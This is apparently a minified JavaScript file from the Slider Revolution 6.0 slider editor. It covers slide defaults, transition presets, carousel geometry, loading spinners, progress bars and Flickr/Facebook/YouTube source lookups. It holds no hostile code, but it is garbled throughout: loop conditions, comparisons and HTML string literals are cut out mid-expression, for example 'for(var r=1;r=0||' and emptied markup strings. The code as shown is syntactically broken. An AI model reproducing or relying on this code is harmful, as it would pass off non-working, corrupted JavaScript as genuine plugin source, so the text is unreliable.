RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.add("disabled");break;default:RVS.DOC.trigger("updateSlideAnimationViewDefault")}},RVS.F.udpateSelectedSlideAnim=function(e){RVS.S.calledSlideAnimListUpdate||(RVS.S.calledSlideAnimListUpdate=!0,requestAnimationFrame(function(){RVS.S.calledSlideAnimListUpdate=!1,RVS.S.ATI.find(".s_s_preset").removeClass("s_s_preset"),RVS.S.ATIR.find(".s_s_preset").removeClass("s_s_preset");var t=RVS.S.ATIR.find('.presets_listelement[data-key="'+RVS.SLIDER[RVS.S.slideId].slide.slideChange.preset+'"]')[0];if(null!=t){t.classList.add("s_s_preset");var i,a=document.getElementById(t.dataset.grpid),r=document.getElementById(t.dataset.grpid+"_"+t.dataset.grp);null!=a&&(a.classList.add("s_s_preset"),e&&-1==a.className.indexOf("open")&&null!=(i=a.getElementsByClassName("presets_liste_head"))&&i.length>0&&i[0].click()),null!=r&&(r.classList.add("s_s_preset"),e&&-1==r.className.indexOf("open")&&null!=(i=r.getElementsByClassName("presetssgroup_head"))&&i.length>0&&i[0].click())}}))},RVS.F.buildKenBurn=function(){V()},RVS.F.addSlideObj=function(e,t){void 0===e||jQuery.isEmptyObject(e);(e=void 0===e?{}:e)&&e.bg&&-1===["cover","contain","percentage","auto"].indexOf(e.bg.fit)&&(e.bg.fit="cover");var i={};return i.addOns=e.addOns||{},i.version=RVS.ENV.revision,i.static=g(e.static,{isstatic:!1,overflow:"hidden",position:"front",lastEdited:!0}),i.runtime=g(e.runtime,{collapsedGroups:[]}),i.title=g(e.title,"New Slide"),i.child=g(e.child,{parentId:"",language:""}),i.bg=g(e.bg,{type:"trans",color:"#ffffff",externalSrc:"",fit:"cover",fitX:"100",fitY:"100",position:"center center",positionX:"0",positionY:"0",repeat:"no-repeat",image:"",imageId:"",crossOriginVideo:!1,imageFromStream:!1,imageSourceType:"full",imageLib:"nothing",galleryType:"gallery",mpeg:"",ogv:"",webm:"",vimeo:"",youtube:"",mediaFilter:"none",video:{args:"",argsVimeo:"",dottedOverlay:"none",dottedOverlaySize:1,dottedColorA:"transparent",dottedColorB:"#000000",startAt:"",endAt:"",fitCover:!0,forceRewind:!0,loop:!0,pausetimer:!1,mute:!0,nextSlideAtEnd:!1,ratio:"16:9",speed:1,volume:0,startAfterTransition:!1},videoId:"",videoFromStream:!1}),void 0!==i&&void 0!==i.bg&&void 0!==i.bg.video&&(i.bg.video.dottedOverlay.indexOf("white")>0&&(i.bg.video.dottedColorB="rgba(255,255,255,255)"),i.bg.video.dottedOverlay.indexOf("twoxtwo")>=0?i.bg.video.dottedOverlay="1":i.bg.video.dottedOverlay.indexOf("threexthree")>=0&&(i.bg.video.dottedOverlay="2")),void 0!==i.bg.video&&void 0!==t&&(i.bg.video.loop=!0===i.bg.video.loop||void 0!==e&&void 0!==e.bg&&void 0!==e.bg.video&&("loopandnoslidestop"===e.bg.video.loop||"loop"===e.bg.video.loop||!0===e.bg.video.loop||"true"===e.bg.video.loop),i.bg.video.pausetimer=void 0===e.pausetimer||!0!==e.pausetimer&&!1!==e.pausetimer?void 0!==e&&void 0!==e.bg&&void 0!==e.bg.video&&"loop"===e.bg.video.loop:e.pausetimer,!0===i.bg.video.loop&&!0===i.bg.video.nextSlideAtEnd&&(i.bg.video.loop=!1)),i.thumb=g(e.thumb,{customThumbSrc:"",customThumbSrcId:"",customAdminThumbSrc:"",customAdminThumbSrcId:"",dimension:"orig"}),i.info=g(e.info,{params:[{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10}],description:""}),i.attributes=g(e.attributes,{title:"",titleOption:"media_library",class:"",data:"",id:"",attr:"",alt:"",altOption:"media_library",deeplink:""}),i.publish=g(e.publish,{from:"",to:"",state:"published"}),i.timeline=g(e.timeline,{stopOnPurpose:!1,delay:"Default",loop:{set:!1,repeat:"unlimited",start:2500,end:4500}}),i.timeline.loop=void 0===i.timeline.loop?{set:!1,repeat:"unlimited",start:2500,end:4500}:i.timeline.loop,i.slideChange=void 0!==i.timeline.transition||void 0===e.slideChange?function(e,t){var i=e.transition;if(t)return RVS._R.getSlideAnim_EmptyObject();var a=["duration","rotation","easeIn","easeOut","slots","transition"];void 0!==e.slots&&(e.slots=d(l(e.slots)));void 0!==e.slots&&(e.slots=d(l(e.slots)));"undefined"!==e.transition&&void 0!==e.transition||(e.transition=["fade"]);if("random"===e.transition[0]||"random-static"===e.transition[0]||"random-premium"===e.transition[0]||"random"===e.transition||"random-static"===e.transition||"random-premium"===e.transition){e.transition=["rndany"],e.slots=[1];try{e.duration=void 0===e.duration||void 0===e.duration[0]||e.duration<500||e.duration[0]<500?750:e.duration}catch(e){}}for(var r in a)a.hasOwnProperty(r)&&(e[a[r]]=d(l(e[a[r]])));var s=!1;for(r in RVS.LIB.SLTR.basic)if(RVS.LIB.SLTR.basic.hasOwnProperty(r))for(var o in RVS.LIB.SLTR.basic[r]){if(s)continue;s=o===e.transition[0]}var n=y({key:"fade"==e.transition[0]||"default"==e.transition[0]?"fade":e.transition[0],slot:s?1:void 0!==e.slots&&void 0!==e.slots[0]&&"default"!==e.slots[0]?e.slots[0]:void 0});"3dcurtain-vertical"===e.transition[0]||"3dcurtain-horizontal"===e.transition[0]||"3dcurtain-vertical"===e.transition||"3dcurtain-horizontal"===e.transition?n.speed=void 0===e.duration[0]||"default"===e.duration[0]||"d"==e.duration[0]?500:parseInt(parseInt(e.duration[0])/3):void 0!==e.duration[0]&&"default"!==e.duration[0]&&(n.speed=e.duration[0]);"random"===n.speed&&(n.speed=1e3);void 0!==e.easeIn[0]&&"default"!==e.easeIn[0]&&(n.in.e=e.easeIn[0]);void 0!==e.easeOut[0]&&"default"!==e.easeOut[0]&&(n.out.e=e.easeOut[0]);void 0!==e.rotation[0]&&"default"!==e.rotation[0]&&0!==e.rotation[0]&&(n.in.r=e.rotation[0]);void 0!==e.rotation[0]&&"default"!==e.rotation[0]&&0!==e.rotation[0]&&(n.out.r=e.rotation[0]);if(void 0!==i&&Array.isArray(i)&&i.length>1){n.alt=[];for(var r=1;r=0||(window.__Slides[RVS.SLIDER.slideIDs[t]]=RVS.F.simplifySlide(RVS.SLIDER[RVS.SLIDER.slideIDs[t]].slide)))},RVS.F.expandSlide=function(e){return jQuery.extend(!0,RVS.F.addSlideObj(),e)},RVS.F.getImgWithCORS=function(e,t){URL&&"function"==typeof URL?new URL(t,window.location.href).origin!==window.location.origin&&(e.crossOrigin="anonymous"):console.warn("URL object is not available")},RVS.F.getSlideTransitionDefaults=function(e){return y(e)}}(), /*! * REVOLUTION 6.0.0 EDITOR SLIDER JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ RVS.S.ulDIM={width:0,height:0},function(){void 0===tpGS.SFXBounceLite&&(tpGS.SFXBounceLite=tpGS.CustomBounce.create("SFXBounceLite",{strength:.3,squash:1,squashID:"SFXBounceLite-squash"})),void 0===tpGS.SFXBounceSolid&&(tpGS.SFXBounceSolid=tpGS.CustomBounce.create("SFXBounceSolid",{strength:.5,squash:2,squashID:"SFXBounceSolid-squash"})),void 0===tpGS.SFXBounceStrong&&(tpGS.SFXBounceStrong=tpGS.CustomBounce.create("SFXBounceStrong",{strength:.7,squash:3,squashID:"SFXBounceStrong-squash"})),void 0===tpGS.SFXBounceExtrem&&(tpGS.SFXBounceExtrem=tpGS.CustomBounce.create("SFXBounceExtrem",{strength:.9,squash:4,squashID:"SFXBounceExtrem-squash"})),void 0===tpGS.BounceLite&&(tpGS.BounceLite=tpGS.CustomBounce.create("BounceLite",{strength:.3})),void 0===tpGS.BounceSolid&&(tpGS.BounceSolid=tpGS.CustomBounce.create("BounceSolid",{strength:.5})),void 0===tpGS.BounceStrong&&(tpGS.BounceStrong=tpGS.CustomBounce.create("BounceStrong",{strength:.7})),void 0===tpGS.BounceExtrem&&(tpGS.BounceExtrem=tpGS.CustomBounce.create("BounceExtrem",{strength:.9}));var e,t,i,a,r,s,o,n,l,d,S,c,p,u,R={width:0,height:0},V={width:0,height:0},m={left:0,top:0},y={x:0,y:0};function g(e){for(var t=e.querySelectorAll("img"),i=0;i';null!==e&&(i+='',i+='',i+='
    delete
    ',i+="",i=jQuery(i),RVS.ENV.skinColors.append(i),RVS.F.initTpColorBoxes(i.find(".my-color-field")))}function L(e){void 0!==window.initQuickGuide&&window.initQuickGuide.page!=window.initQuickGuide.active&&(RVS.F.updateEasyInputs({container:jQuery(".mcg_option_third_wraps"),trigger:"init",path:"settings."}),jQuery("#mcg_page_"+window.initQuickGuide.page).addClass("mcg_selected"),tpGS.gsap.fromTo("#mcg_page_"+window.initQuickGuide.page,.5,{x:-1===e?"-100%":"100%"},{x:"0%",ease:"power3.inOut"}),tpGS.gsap.fromTo("#mcg_page_"+window.initQuickGuide.active,.5,{x:"0%"},{x:-1===e?"100%":"-100%",ease:"power3.inOut",onComplete:function(){jQuery("#mcg_page_"+window.initQuickGuide.active).removeClass("mcg_selected"),window.initQuickGuide.active=window.initQuickGuide.page}}))}function w(e){1==RVS.S.TRTIS_initied||void 0!==e&&"init"!==e?"update"===e&&1==RVS.S.TRTIS_initied&&(clearTimeout(RVS.S.scrollUpdateTimer),RVS.S.scrollUpdateTimer=setTimeout(function(){RVS.C.rb.RSScroll("update"),jQuery("#the_right_toolbar_inner").RSScroll("update")},50)):(RVS.S.rb_ScrollX=0,RVS.S.rb_ScrollY=0,p=jQuery("#settings_sticky_info"),RVS.C.rb.RSScroll({wheelPropagation:!0,minScrollbarLength:100}),jQuery("#the_right_toolbar_inner").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}).on("ps-scroll-y",function(){this.scrollTop>50?p.show():p.hide(),RVS.S.respInfoBar&&RVS.S.respInfoBar.toolbar&&null!==RVS.S.respInfoBar.toolbar[0]&&(RVS.S.respInfoBar.toolbar[0].style.display="none")}),RVS.C.rb.on("ps-scroll-x",function(){RVS.S.rb_ScrollX=y.x=this.scrollLeft,RVS.F.setRulers()}),RVS.C.rb.on("ps-scroll-y",function(){y.x=this.scrollLeft,y.y=this.scrollTop,RVS.S.rb_ScrollY=y.y=this.scrollTop,RVS.F.setRulers()}),RVS.S.TRTIS_initied=!0)}function b(e,t){("force"===t||u||void 0===u)&&("flickr"===RVS.SLIDER.settings.sourcetype&&D(),"facebook"===RVS.SLIDER.settings.sourcetype&&x(),"youtube"===RVS.SLIDER.settings.sourcetype&&k()),u=!1,RVS.DOC.trigger("updatesliderthumb")}function I(e){jQuery("rs-loader").css("background","").find("div").css("background","");var t,i=parseInt(RVS.SLIDER.settings.layout.spinner.type,10);if(NaN===i||i<6)t='
    ';else{var a,r=[10,0,4,2,5,9,0,4,4,2][i-6];if(t='
    2&&(a=RSColor.rgbString(a[0].trim(),a[1].trim(),a[2].trim())),a&&"string"==typeof e&&(-1===(a=a.replace(")",", ")).search("rgba")&&(a=a.replace("rgb","rgba")),t+=' style="border-top-color: '+a+"0.65); border-bottom-color: "+a+"0.15); border-left-color: "+a+"0.65); border-right-color: "+a+'0.15)"');else 12===i&&(t+=' style="background:'+e+'"');t+=">";for(var s=0;s0&&(t+=" "),t+='';t+="
    "}return t}function F(e){e=void 0===e?RVS.SLIDER.settings.layout.spinner.color:e;var t=RVS.SLIDER.settings.layout.spinner.type;0!=t&&5!=t||(e="#ffffff");var i=jQuery("rs-loader");0==t||1==t||2==t||5==t?i.css({backgroundColor:e}):3==t||4==t?(i.css({backgroundColor:"transparent"}),i.find("div").css({backgroundColor:e})):i.html(I(e))}function D(){var e=RVS.SLIDER.settings.source.flickr;if("photosets"==e.type)if(""!=e.userURL&&""!=e.apiKey){var t={url:e.userURL,key:e.apiKey,count:e.count,set:e.photoSet};RVS.F.ajaxRequest("get_flickr_photosets",t,function(t){jQuery("#sr_src_flickr_photoset").html(t.data.html),RVS.F.setS2Option({select:jQuery("#sr_src_flickr_photoset"),selectValue:e.photoSet})})}else jQuery("#sr_src_flickr_photoset").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_flickr_photoset"),selectValue:""})}function x(){var e=RVS.SLIDER.settings.source.facebook;if("album"==e.typeSource)if(""!=e.appId&&""!=e.page_id){var t={app_id:e.appId,page_id:e.page_id};RVS.F.ajaxRequest("get_facebook_photosets",t,function(t){jQuery("#sr_src_facebok_album").html(t.html),RVS.F.setS2Option({select:jQuery("#sr_src_facebok_album"),selectValue:e.album})})}else jQuery("#sr_src_facebok_album").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_facebok_album"),selectValue:""})}function k(){var e=RVS.SLIDER.settings.source.youtube;if("playlist"==e.typeSource)if(""!=e.api&&""!=e.channelId){var t={api:e.api,id:e.channelId,playlist:e.playList};RVS.F.ajaxRequest("get_youtube_playlists",t,function(t){if(jQuery("#sr_src_youtube_playlist").html(t.data.html),""===e.playList){var i=jQuery("#sr_src_youtube_playlist option").first();e.playList=i[0].value}RVS.F.setS2Option({select:jQuery("#sr_src_youtube_playlist"),selectValue:e.playList})})}else jQuery("#sr_src_youtube_playlist").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_youtube_playlist"),selectValue:""})}function C(e){var t=!1,i={w:RVS.F.GW("d"),h:RVS.SLIDER.settings.size.height.d};for(var a in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&(!t&&RVS.SLIDER.settings.size.custom[RVS.V.sizes[a]]&&(i.w=RVS.F.GW(RVS.V.sizes[a]),i.h=parseInt(RVS.SLIDER.settings.size.height[RVS.V.sizes[a]],0)),RVS.V.sizes[a]===e&&(t=!0));return i}function O(t,i){var a=RVS.SLIDER.settings.size.custom[RVS.screen],r=C(RVS.screen),s=a?RVS.F.GW(RVS.screen):Math.min(r.w,RVS.ENV.grid_sizes[RVS.screen]),n=a?parseInt(RVS.SLIDER.settings.size.height[RVS.screen],0):s/r.w*r.h,l="fullscreen"===RVS.SLIDER.settings.layouttype?RVS.SLIDER.settings.size.minHeightFullScreen:RVS.SLIDER.settings.size.minHeight,d="100%",S=n/s,p=Math.max(RVS.C.rb[0].offsetWidth-40,s),u="carousel"===RVS.SLIDER.settings.type&&"v"===RVS.SLIDER.settings.carousel.orientation;RVS.SLIDER.settings.carousel.justify&&"carousel"===RVS.SLIDER.settings.type?RVS.C.tRC.classList.add("_just_carousel_"):RVS.C.tRC.classList.remove("_just_carousel_"),l="none"!==l&&RVS.F.isNumeric()?l:0,l="fullscreen"===RVS.SLIDER.settings.layouttype?Math.max(Math.max(l,RVS.S.winh-RVS.ENV.globVerOffset-65),n):Math.max(l,n),l=RVS.SLIDER.settings.size.respectAspectRatio?Math.max(RVS.C.rb.width(),s)*S:l,RVS.F.updateMinSliderHeights(),l=Math.max(l,c),S=(n=Math.max(n,c))/s;var R=s,V=parseInt(RVS.SLIDER.settings.layout.bg.padding,0)||0;RVS.S.dim_offsets=RVS.F.sliderDimensionOffsets(),RVS.F.isNumeric(RVS.SLIDER.settings.size.maxWidth)&&RVS.SLIDER.settings.size.maxWidth>0&&(R=Math.min(parseInt(RVS.SLIDER.settings.size.maxWidth,0),s)+"px"),tpGS.gsap.set([e,".layer_grid"],{width:s+"px",maxWidth:"none",height:n+"px"}),tpGS.gsap.set(RVS.C.UL,{minWidth:parseInt(R,0)+parseInt(V,0)+"px",maxWidth:"none",width:d,minHeight:parseInt(l,0)+parseInt(V,0)}),RVS.F.CVERT()?(RVS.S.vertCarOff=40,RVS.S.ulDIM={width:RVS.C.UL.width(),height:Math.max(Math.min(RVS.S.winh-300,2*parseInt(RVS.SLIDER.settings.size.height[RVS.screen],0)),RVS.C.UL.height())}):(RVS.S.vertCarOff=0,RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()}),RVS.RMD="carousel"===RVS.SLIDER.settings.type?{width:u?p:s,height:n}:{width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height};var m=Math.max(0,RVS.S.ulDIM.width/2-(u?p:s)/2),y=Math.max(0,(RVS.S.ulDIM.height-n)/2);tpGS.gsap.set(RVS.C.UL,{minHeight:RVS.S.ulDIM.height+RVS.S.dim_offsets.carouseloffset+RVS.S.dim_offsets.navtop+RVS.S.dim_offsets.navbottom,minWidth:u?p:R}),y=y+RVS.S.dim_offsets.carouseltop+RVS.S.dim_offsets.navtop,m=Math.max(0,m),y=Math.max(0,y);var g=document.getElementById("slide_"+RVS.S.slideId);"carousel"===RVS.SLIDER.settings.type?(g&&tpGS.gsap.set(g,{width:u?p:s,height:n,top:y,left:m,overflow:"hidden",borderRadius:RVS.SLIDER.settings.carousel.borderRadius}),tpGS.gsap.set([".layer_grid"],{x:0,y:0,left:u?(p-s)/2:0,top:"0px"}),tpGS.gsap.set(e,{x:0,y:0,left:m+"px",top:y}),tpGS.gsap.set(".slots_wrapper",{top:0,left:0,maxWidth:"none",maxHeight:"none"})):(g&&tpGS.gsap.set(g,{width:"100%",height:"100%",top:0,left:0,overflow:"visible",borderRadius:0}),tpGS.gsap.set([e,".layer_grid"],{x:0,y:0,left:m+"px",top:y}),tpGS.gsap.set(".slots_wrapper",{top:0,left:0,maxWidth:Math.max(RVS.S.ulDIM.width,o.width())+"px",maxHeight:RVS.S.ulDIM.height+"px"})),t&&T(),i&&RVS.F.updateScreenShrinks(),RVS.F.updateContentDeltas(),"carousel"===RVS.SLIDER.settings.type?function(e){var t=RVS.SLIDER.settings,i=jQuery("#fake_carousel_elements"),a=0,r=1,s="center"===t.carousel.horizontal?2:1,o=0,n=0,l=t.carousel,d=RVS.SLIDER.slideIDs.length-1;jQuery(".fakecarouselslide").hide();for(var S=1;S'),i.append(p)),o=S%2==1?o+1:o,c={width:e.width,height:e.height,top:e.top,left:e.left,borderRadius:t.carousel.borderRadius,display:"block"};var u=parseInt(t.carousel.scaleDown,0)/100,R=parseInt(t.carousel.maxRotation,0),V=parseInt(t.carousel.maxOpacity,0)/100;if(trans="left",dim="width",rot="rotationY","v"==t.carousel.orientation&&(trans="top",dim="height",rot="rotationX"),t.carousel.fadeOut?t.carousel.varyFade?c.autoAlpha=1-Math.abs(V/Math.ceil(t.carousel.maxItems/s)*o):c.autoAlpha=o>=1||o<=-1?V:V+(1-V)*(1-Math.abs(o)):c.autoAlpha=Math.abs(o)0?(t.carousel.varyScale?c.scale=1-Math.abs((1-u)/Math.ceil(t.carousel.maxItems/s)*o):c.scale=o*r>=1||o*r<=-1?u:100-u*Math.abs(o),n=o*(c[dim]-c[dim]*c.scale)/2):c.scale=1,a=S%2==1?parseFloat(a)+parseFloat(e[dim])+parseInt(t.carousel.space,0)*(t.carousel.offsetScale?c.scale:1):a,c[trans]=parseFloat(e[trans])+r*a,"off"===l.spin&&(c.rotationX=0,c.rotation=0,c.rotationY=0),"off"!==l.spin){l.spinAngle=parseFloat(l.spinAngle),0===g&&(l.spinAngle=1),l.space=parseFloat(l.space),c.scale=1;var m=e[dim],y=m/2,g=Math.max(Math.min(l.spinAngle,360/d),-360/d),f=y/Math.sin(g/2*Math.PI/180),h=(Math.sqrt(f*f-y*y)+l.space)*Math.sign(g);"2d"===l.spin&&"h"===l.orientation?h+=(g<=0?0:1)*e.height:"2d"===l.spin&&(h+=(g<=0?0:1)*e.width);var v=(Math.floor(l.maxItems/2),Math.floor(l.maxItems/2));c[trans]=(v-Math.floor(l.maxItems/2))*(parseFloat(e[dim])+parseInt(t.carousel.space))+e[trans],"2d"===l.spin?(c.rotation=g*(S>Math.floor(l.maxItems/2)?S-Math.floor(l.maxItems/2):S-Math.ceil(l.maxItems/2)),"h"===l.orientation?c.transformOrigin="center "+h+"px 0":c.transformOrigin=h+"px center 0",c.rotationX=0,c.rotationY=0):(c.transformOrigin="center center "+h+"px","h"===l.orientation?(c.rotationY=g*(S>Math.floor(l.maxItems/2)?S-Math.floor(l.maxItems/2):S-Math.ceil(l.maxItems/2)),c.rotation=0,c.rotationX=0):(c.rotationX=g*(S>Math.floor(l.maxItems/2)?S-Math.floor(l.maxItems/2):S-Math.ceil(l.maxItems/2)),c.rotation=0,c.rotationY=0))}else t.carousel.rotation&&void 0!==t.carousel.maxRotation&&0!=Math.abs(R)?(t.carousel.varyRotate?(c[rot]=Math.abs(R)-Math.abs((1-Math.abs(1/Math.ceil(t.carousel.maxItems/s)*o))*R),c.autoAlpha=Math.abs(c[rot])>90?0:c.autoAlpha):c[rot]=o*r>=1||o*r<=-1?R:Math.abs(o)*R,c[rot]=c[rot]*r*-1):c[rot]=0;void 0!==c.scale&&1!==c.scale&&(c[trans]=r<0?c[trans]+n:c[trans]-n),c.zIndex=Math.round(100-Math.abs(5*o)),c.force3D=!0,c.transformStyle="flat",c.transformPerspective=1200,"off"===l.spin&&(c.transformOrigin="v"==t.carousel.orientation?"50% 50%":"50% "+t.carousel.vertical),tpGS.gsap.set(p,c),r*=-1}}({width:u?p:s,height:n,top:y,left:m}):jQuery(".fakecarouselslide").remove(),RVS.F.sliderNavPositionUpdate({type:"arrows"}),RVS.F.sliderNavPositionUpdate({type:"bullets"}),RVS.F.sliderNavPositionUpdate({type:"tabs"}),RVS.F.sliderNavPositionUpdate({type:"thumbs"}),w("update"),RVS.F.setRulers(),(void 0===RVS.S.firstPreparation||RVS.S.firstPreparation<2)&&(RVS.S.firstPreparation=void 0===RVS.S.firstPreparation?0:RVS.S.firstPreparation,RVS.S.firstPreparation++,2==RVS.S.firstPreparation&&RVS.F.expandCollapseTimeLine(!0,"open",!0))}function T(){for(var e in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(e)){var t=RVS.V.sizes[e],i=RVS.SLIDER.settings.size.custom[t],a=C(t),r=i?RVS.F.GW(t):Math.min(a.w,RVS.ENV.grid_sizes[t]),s=i?parseInt(RVS.SLIDER.settings.size.height[t],0):r/a.w*a.h;r=Math.round(r),s=Math.round(s),jQuery("#sr_size_width_"+t).val(r+"px"),jQuery("#sr_size_height_"+t).val(s+"px")}var o="none"===RVS.SLIDER.settings.size.maxWidth||0===RVS.SLIDER.settings.size.maxWidth||""===RVS.SLIDER.settings.size.maxWidth?"none":RVS.SLIDER.settings.size.maxWidth;jQuery("#sr_size_maxwidth").val(o),jQuery("#sr_size_minheight").val(RVS.SLIDER.settings.size.minHeight),jQuery("#sr_size_minheight_fs").val(RVS.SLIDER.settings.size.minHeightFullScreen),void 0!==d&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px")}function j(e,t){requestAnimationFrame(function(){tpGS.gsap.set(RVS.S.ulInner,{backgroundImage:""});var i=RVS.SLIDER.settings,a=1==e&&void 0!==t?window.RSColor.get(t):window.RSColor.get(i.layout.bg.color),r=1==e&&void 0!==t?"":i.layout.bg.useImage&&void 0!==i.layout.bg.image?i.layout.bg.image:"";""!==r?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundPosition:i.layout.bg.position,"background-size":i.layout.bg.fit,backgroundRepeat:i.layout.bg.repeat,backgroundImage:"url("+r+")"}):a.indexOf("gradient")>=0?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{background:a}):"transparent"!==a?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundColor:a,backgroundImage:"none"}):tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundColor:"transparent",backgroundImage:RVS.S.defaultMainPNG,backgroundRepeat:"repeat","background-size":"16px 16px"}),E(),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#slider_used_library"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#slider_used_library_lists"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#slider_bg_inputfields"),trigger:"init"})},100)})}function E(){RVS.C.sliderOverlay=void 0===RVS.C.sliderOverlay?document.getElementById("slider_overlay"):RVS.C.sliderOverlay,RVS.C.sliderOverlay.style.backgroundImage=RVS._R.createOverlay("slider",RVS.SLIDER.settings.layout.bg.dottedOverlay,RVS.SLIDER.settings.layout.bg.dottedOverlaySize,{0:RVS.SLIDER.settings.layout.bg.dottedColorA,1:RVS.SLIDER.settings.layout.bg.dottedColorB})}function A(){requestAnimationFrame(M)}function M(){var e=RVS.SLIDER.settings.general.progressbar;RVS.C.pbar=void 0===RVS.C.pbar?jQuery("#rev_progress_bar_wrap"):RVS.C.pbar,RVS.C.pbar_lc=void 0===RVS.C.pbar_lc?document.getElementById("progressbar_selector_left-center"):RVS.C.pbar_lc,RVS.C.pbar_rc=void 0===RVS.C.pbar_rc?document.getElementById("progressbar_selector_right-center"):RVS.C.pbar_rc,RVS.C.pbar_ct=void 0===RVS.C.pbar_ct?document.getElementById("progressbar_selector_center-top"):RVS.C.pbar_ct,RVS.C.pbar_cb=void 0===RVS.C.pbar_cb?document.getElementById("progressbar_selector_center-bottom"):RVS.C.pbar_cb,RVS.C.pbar_cc=void 0===RVS.C.pbar_cc?document.getElementById("progressbar_selector_center-center"):RVS.C.pbar_cc,RVS.C.pbar_lc=void 0===RVS.C.pbar_lc?document.getElementById("progressbar_selector_left-center"):RVS.C.pbar_lc,"grid"===e.alignby&&void 0!==RVS.C.layergrid?RVS.C.layergrid.append(RVS.C.pbar):RVS.S.ulInner.append(RVS.C.pbar),"horizontal"===e.style?(tpGS.gsap.set([RVS.C.pbar_lc,RVS.C.pbar_rc],{display:"block"}),tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb,RVS.C.pbar_cc],{display:"none"})):"vertical"===e.style?(tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb],{display:"block"}),tpGS.gsap.set([RVS.C.pbar_lc,RVS.C.pbar_rc,RVS.C.pbar_cc],{display:"none"})):tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb,RVS.C.pbar_lc,RVS.C.pbar_rc,RVS.C.pbar_cc],{display:"block"});var t="grid"===e.alignby?RVS.S.lgw:RVS.S.ulDIM.width,i="grid"===e.alignby?RVS.S.lgh:RVS.S.ulDIM.height;if(e.set&&"hero"!==RVS.SLIDER.settings.style){if("horizontal"===e.style||"vertical"===e.style){var a,r;RVS.C.pbar[0].innerHTML="module"===e.basedon?'
    ':'
    ',RVS.C.pbars=RVS.C.pbar[0].getElementsByClassName("rev_progress_bar"),RVS.C.pbbgs=RVS.C.pbar[0].getElementsByClassName("rev_progress_bg"),RVS.C.pbgaps=RVS.C.pbar[0].getElementsByClassName("rev_progress_gap"),"horizontal"===e.style?(a=Math.ceil(t/4),r=Math.ceil((t-3*parseInt(e.gapsize,0))/4),tpGS.gsap.set(RVS.C.pbar,{top:"top"===e.vertical?e.y:"center"===e.vertical?"50%":"auto",bottom:"top"===e.vertical||"center"===e.vertical?"auto":e.y,y:"center"===e.vertical?e.y:0,x:0,left:0,right:"auto",width:"100%",height:e.size,marginTop:"grid"===e.alignby?0:"bottom"===e.vertical?0:(e.vertical,0),backgroundColor:"module"===e.basedon?"transparent":e.bgcolor}),tpGS.gsap.set(RVS.C.pbars,{backgroundColor:e.color,y:0,x:"module"===e.basedon?e.gap?function(t){return("right"===e.horizontal?3-t:t)*(r+parseInt(e.gapsize,0))}:function(t){return("right"===e.horizontal?3-t:t)*a}:"right"===e.horizontal?a:0,width:"module"===e.basedon?e.gap?r+"px":"25%":"75%",height:"100%"}),"module"===e.basedon&&tpGS.gsap.set(RVS.C.pbbgs,{backgroundColor:e.bgcolor,y:0,x:"module"===e.basedon?e.gap?function(t){return t*(r+parseInt(e.gapsize,0))}:function(e){return e*a}:0,width:"module"===e.basedon?e.gap?r+"px":"25%":"75%",height:"100%"}),tpGS.gsap.set(RVS.C.pbgaps,{backgroundColor:e.gapcolor,height:"100%",width:"module"===e.basedon&&e.gap?e.gapsize+"px":0,y:0,x:"module"===e.basedon&&e.gap?function(t){return(t+1)*r+parseInt(e.gapsize,0)*t}:0})):"vertical"===e.style&&(a=i/4,r=(i-3*parseInt(e.gapsize,0))/4,tpGS.gsap.set(RVS.C.pbar,{left:"left"===e.horizontal?e.x:"center"===e.horizontal?"50%":"auto",right:"left"===e.horizontal||"center"===e.horizontal?"auto":e.x,x:"center"===e.horizontal?e.x:0,y:(e.alignby,0),top:0,bottom:"auto",height:"100%",width:e.size,marginLeft:"grid"===e.alignby?0:"left"===e.horizontal?0:(e.horizontal,0),backgroundColor:"module"===e.basedon?"transparent":e.bgcolor}),tpGS.gsap.set(RVS.C.pbars,{backgroundColor:e.color,y:"module"===e.basedon?e.gap?function(t){return("bottom"===e.vertical?3-t:t)*(r+parseInt(e.gapsize,0))}:function(t){return("bottom"===e.vertical?3-t:t)*a}:"bottom"===e.vertical?a:0,height:"module"===e.basedon?e.gap?r+"px":"25%":"75%",width:"100%"}),"module"===e.basedon&&tpGS.gsap.set(RVS.C.pbbgs,{backgroundColor:e.bgcolor,y:"module"===e.basedon?e.gap?function(t){return t*(r+parseInt(e.gapsize,0))}:function(e){return e*a}:0,height:"module"===e.basedon?e.gap?r+"px":"25%":"75%",width:"100%"}),tpGS.gsap.set(RVS.C.pbgaps,{backgroundColor:e.gapcolor,width:"100%",height:"module"===e.basedon&&e.gap?e.gapsize+"px":0,x:0,y:"module"===e.basedon&&e.gap?function(t){return(t+1)*r+parseInt(e.gapsize,0)*t}:0}))}else 